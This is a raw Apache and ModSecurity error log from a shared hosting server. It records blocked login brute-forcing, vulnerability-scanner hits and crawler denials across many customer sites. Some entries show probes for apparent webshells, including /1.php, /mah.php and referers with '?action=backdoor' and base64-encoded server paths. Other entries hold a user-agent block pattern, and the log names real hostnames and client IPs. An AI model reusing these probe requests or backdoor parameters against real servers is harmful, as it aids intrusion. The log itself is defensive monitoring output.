https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vZXZlbnQ2L2RldmljZS9kZXZpY2UvZHJpdmVyL21vZHVsZQ== [Sat Jun 13 18:25:03.941059 2026] [access_compat:error] [pid 646876:tid 646982] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vZXZlbnQ2L2RldmljZS9kZXZpY2UvZHJpdmVyL21vZHVsZQ== [Sat Jun 13 18:25:04.064488 2026] [access_compat:error] [pid 715691:tid 715710] [remote 57.141.14.77:56755] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:25:04.064957 2026] [access_compat:error] [pid 715691:tid 715710] [remote 57.141.14.77:56755] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:25:04.129659 2026] [access_compat:error] [pid 715691:tid 715736] [remote 57.141.14.101:22534] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:25:04.129933 2026] [access_compat:error] [pid 715691:tid 715736] [remote 57.141.14.101:22534] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:25:04.176749 2026] [access_compat:error] [pid 715691:tid 715785] [remote 57.141.14.2:54545] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:25:04.177041 2026] [access_compat:error] [pid 715691:tid 715785] [remote 57.141.14.2:54545] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:25:04.199089 2026] [security2:error] [pid 646876:tid 646997] [remote 208.68.37.246:41180] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 246.37.68.208.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.infraas-digital.nucreativesolutions.com"] [uri "/wp-login.php"] [unique_id "ai304NyTkdrNlD40tSHdggAAU3Y"] [Sat Jun 13 18:25:04.411846 2026] [security2:error] [pid 646876:tid 646956] [remote 17.241.75.172:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 172.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai304NyTkdrNlD40tSHdiAAASk0"] [Sat Jun 13 18:25:04.459399 2026] [access_compat:error] [pid 646876:tid 646957] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vZXZlbnQzL3N1YnN5c3RlbS9pbnB1dDYvY2FwYWJpbGl0aWVz [Sat Jun 13 18:25:04.459860 2026] [access_compat:error] [pid 646876:tid 646957] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vZXZlbnQzL3N1YnN5c3RlbS9pbnB1dDYvY2FwYWJpbGl0aWVz [Sat Jun 13 18:25:04.513030 2026] [access_compat:error] [pid 715691:tid 715885] [client 185.199.157.20:55259] AH01797: client denied by server configuration: /home1/taqniyam/public_html/krosscorp.us/wp-content/plugins/index.php, referer: http://krosscorp.us/wp-content/plugins/ [Sat Jun 13 18:25:04.513738 2026] [access_compat:error] [pid 715691:tid 715885] [client 185.199.157.20:55259] AH01797: client denied by server configuration: /home1/taqniyam/public_html/krosscorp.us/wp-content/plugins/index.phtml, referer: http://krosscorp.us/wp-content/plugins/ [Sat Jun 13 18:25:04.516292 2026] [access_compat:error] [pid 715691:tid 715885] [client 185.199.157.20:55259] AH01797: client denied by server configuration: /home1/taqniyam/public_html/krosscorp.us/wp-content/plugins/index.php5, referer: http://krosscorp.us/wp-content/plugins/ [Sat Jun 13 18:25:04.620639 2026] [security2:error] [pid 715691:tid 715815] [remote 17.241.75.228:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 228.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "forum.torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai304LV-dFiaX9AtWiQyyQABYmg"] [Sat Jun 13 18:25:04.778717 2026] [security2:error] [pid 646876:tid 646896] [remote 17.22.253.38:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 38.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai304NyTkdrNlD40tSHdlwAAeRE"] [Sat Jun 13 18:25:04.853170 2026] [security2:error] [pid 646876:tid 647021] [client 185.199.157.12:33225] ModSecurity: Warning. Pattern match "/1\\\\.php" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1543"] [id "900921"] [msg "temporary TUW-72162 logging rule"] [hostname "krosscorp.us"] [uri "/1.php"] [unique_id "ai304NyTkdrNlD40tSHdmAAAAA0"] [Sat Jun 13 18:25:04.853302 2026] [security2:error] [pid 646876:tid 647021] [client 185.199.157.12:33225] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 12.157.199.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "krosscorp.us"] [uri "/1.php"] [unique_id "ai304NyTkdrNlD40tSHdmAAAAA0"] [Sat Jun 13 18:25:04.991485 2026] [access_compat:error] [pid 646876:tid 646992] [remote 57.141.14.21:42191] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:25:04.991961 2026] [access_compat:error] [pid 646876:tid 646992] [remote 57.141.14.21:42191] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:25:05.005050 2026] [access_compat:error] [pid 646876:tid 646951] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?act=download&file=resync_time&p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vZXZlbnQ0L3N1YnN5c3RlbS9pbnB1dDUvZGV2aWNl [Sat Jun 13 18:25:05.005528 2026] [access_compat:error] [pid 646876:tid 646951] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?act=download&file=resync_time&p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vZXZlbnQ0L3N1YnN5c3RlbS9pbnB1dDUvZGV2aWNl [Sat Jun 13 18:25:05.080961 2026] [security2:error] [pid 646876:tid 646932] [remote 17.241.75.68:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 68.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai304dyTkdrNlD40tSHdoAAAfTU"] [Sat Jun 13 18:25:05.090400 2026] [access_compat:error] [pid 646876:tid 646955] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?action=backdoor&p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vZXZlbnQ0L3N1YnN5c3RlbS9pbnB1dDUvZGV2aWNl [Sat Jun 13 18:25:05.092556 2026] [access_compat:error] [pid 646876:tid 646955] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?action=backdoor&p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vZXZlbnQ0L3N1YnN5c3RlbS9pbnB1dDUvZGV2aWNl [Sat Jun 13 18:25:05.117207 2026] [access_compat:error] [pid 646876:tid 647000] [remote 57.141.14.112:39812] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:25:05.117660 2026] [access_compat:error] [pid 646876:tid 647000] [remote 57.141.14.112:39812] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:25:05.120854 2026] [access_compat:error] [pid 646876:tid 646973] [remote 57.141.14.111:36340] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:25:05.121301 2026] [access_compat:error] [pid 646876:tid 646973] [remote 57.141.14.111:36340] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:25:05.350197 2026] [access_compat:error] [pid 715691:tid 715712] [remote 216.73.216.182:59569] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:25:05.350661 2026] [access_compat:error] [pid 715691:tid 715712] [remote 216.73.216.182:59569] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:25:05.399990 2026] [security2:error] [pid 715691:tid 715887] [client 114.119.149.23:61089] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "www.arvanisocks.com"] [uri "/our-products/"] [unique_id "ai304bV-dFiaX9AtWiQy7gAAATg"], referer: https://arvanisocks.com/ [Sat Jun 13 18:25:05.431780 2026] [access_compat:error] [pid 715691:tid 715729] [remote 57.141.14.39:39786] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:25:05.432187 2026] [access_compat:error] [pid 715691:tid 715729] [remote 57.141.14.39:39786] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:25:05.486096 2026] [security2:error] [pid 715691:tid 715800] [remote 17.246.15.38:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 38.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai304bV-dFiaX9AtWiQy8gABJ1k"] [Sat Jun 13 18:25:05.494406 2026] [security2:error] [pid 715691:tid 715936] [client 185.199.157.21:24093] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 21.157.199.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "krosscorp.us"] [uri "/mah.php"] [unique_id "ai304bV-dFiaX9AtWiQy8QAAAWk"] [Sat Jun 13 18:25:05.540693 2026] [access_compat:error] [pid 646876:tid 646925] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQ3L3N1YnN5c3RlbS9pbnB1dDIvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:25:05.541121 2026] [access_compat:error] [pid 646876:tid 646925] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQ3L3N1YnN5c3RlbS9pbnB1dDIvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:25:05.597222 2026] [security2:error] [pid 646876:tid 647005] [remote 17.241.219.69:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai304dyTkdrNlD40tSHdqAAAD34"] [Sat Jun 13 18:25:05.866136 2026] [security2:error] [pid 646876:tid 647041] [client 159.223.112.69:41094] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai304dyTkdrNlD40tSHdrwAAACE"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:25:05.900508 2026] [security2:error] [pid 646876:tid 647105] [client 220.181.51.85:33954] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 85.51.181.220.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "thenerdistheword.ca"] [uri "/index.php/2018/01/28/thank-rian-johnson-killing-worst-idea-star-wars-ever/"] [unique_id "ai304dyTkdrNlD40tSHdsAAAAGE"] [Sat Jun 13 18:25:06.070730 2026] [access_compat:error] [pid 646876:tid 646986] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vaW5wdXQxL3N1YnN5c3RlbS9ldmVudDAvcG93ZXI= [Sat Jun 13 18:25:06.071155 2026] [access_compat:error] [pid 646876:tid 646986] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vaW5wdXQxL3N1YnN5c3RlbS9ldmVudDAvcG93ZXI= [Sat Jun 13 18:25:06.078024 2026] [security2:error] [pid 646876:tid 647090] [client 159.223.112.69:35076] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai304tyTkdrNlD40tSHduAAAAFI"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:25:06.101907 2026] [security2:error] [pid 715691:tid 715903] [client 185.199.157.21:57831] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 21.157.199.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "krosscorp.us"] [uri "/wp-content/themes/twentytwentyone/content-index.php"] [unique_id "ai304rV-dFiaX9AtWiQzBwAAAUg"] [Sat Jun 13 18:25:06.201764 2026] [security2:error] [pid 646876:tid 646981] [remote 47.128.97.111:47104] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "skeenlawfirm.com"] [uri "/items/E178529050/"] [unique_id "ai304tyTkdrNlD40tSHdvAAAFWY"] [Sat Jun 13 18:25:06.249154 2026] [security2:error] [pid 646876:tid 646980] [remote 47.128.124.214:51100] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "coscharis-tech.com"] [uri "/product-category/phone-accessories/power-banks/"] [unique_id "ai304tyTkdrNlD40tSHdwAAAYmU"] [Sat Jun 13 18:25:06.298116 2026] [security2:error] [pid 715691:tid 715914] [client 159.223.112.69:35086] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai304rV-dFiaX9AtWiQzDAAAAVM"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:25:06.322301 2026] [access_compat:error] [pid 715691:tid 715799] [remote 57.141.14.19:33940] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:25:06.322582 2026] [access_compat:error] [pid 715691:tid 715799] [remote 57.141.14.19:33940] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat 